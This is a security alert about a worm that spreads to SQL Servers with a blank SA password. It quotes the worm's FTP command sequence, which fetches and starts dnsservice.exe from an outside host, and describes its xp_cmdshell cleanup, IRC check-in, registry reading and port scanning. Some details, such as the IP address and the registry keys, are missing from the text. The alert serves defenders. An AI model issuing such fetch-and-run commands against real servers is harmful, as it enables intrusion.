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Security Alert : SQL Server Worm Virus Attacking Systems

By Brian Knight,

The virus community has moved it's targets to SQL Server over the past few days while a new worm virus begun to attack vulnerable SQL Servers. The exploit focuses on servers that have no password set for the SA account and use SQL and Windows authentication. (Note: If you use Windows Authentication, you will not need to worry about this.) While this version of the worm may not spread too quickly, it does pose as an alarm for this type of exploit in the future.

The virus begins by logging into your machine from another infected machine with SA and no password. Once connected, the following commands are issued:

user = ftp
password = foo.com
cd pub
cd tmp
get dnsservice.exe
start dnsservice.exe

This string of events pull down a file from the IP address The dnsservice.exe file that it pulls down has since been removed from the FTP site, but the virus may have the capability to repoint itself to another server. Once the virus downloads the dnsservice.exe, it starts the file and cleans up itself using xp_cmdshell commands.

It then notifies a chat (IRC) server as a way of checking in. One can only theorize that this was the creators way of seeing how successful the virus was.

The worm will then use the following registry keys to determine what other servers you have registered. Upon finding one, it moves to infect it.  These keys show the servers registered in your Enterprise Manager:


On top of infecting other machines, it will begin a port scan to determine who else it can infect. One of the scariest things about this virus is that it does broadcast some of your server information through a public IRC channel.

Expect to not see a patch from Microsoft on this virus. This is not a Microsoft vulnerability. It will only infect servers where the SA account is set to blank (NULL). This worm is not isolated to servers that are on the Internet keep in mind. For example, if I have Personal Edition of SQL Server installed on my machine that has Internet access, my machine may be infected as well as that presets itself as a gateway to firewall protected servers in my private network. This virus hasn't picked up any steam yet and I don't see this version of the virus ever. But, future releases that don't rely on public FTP sites or IRC may be a further threat. If you still have a SQL Server installed anywhere on your network with a blank SA password, let this serve as your warning shot across the bow. Future worms like this may not be so easy to stop.

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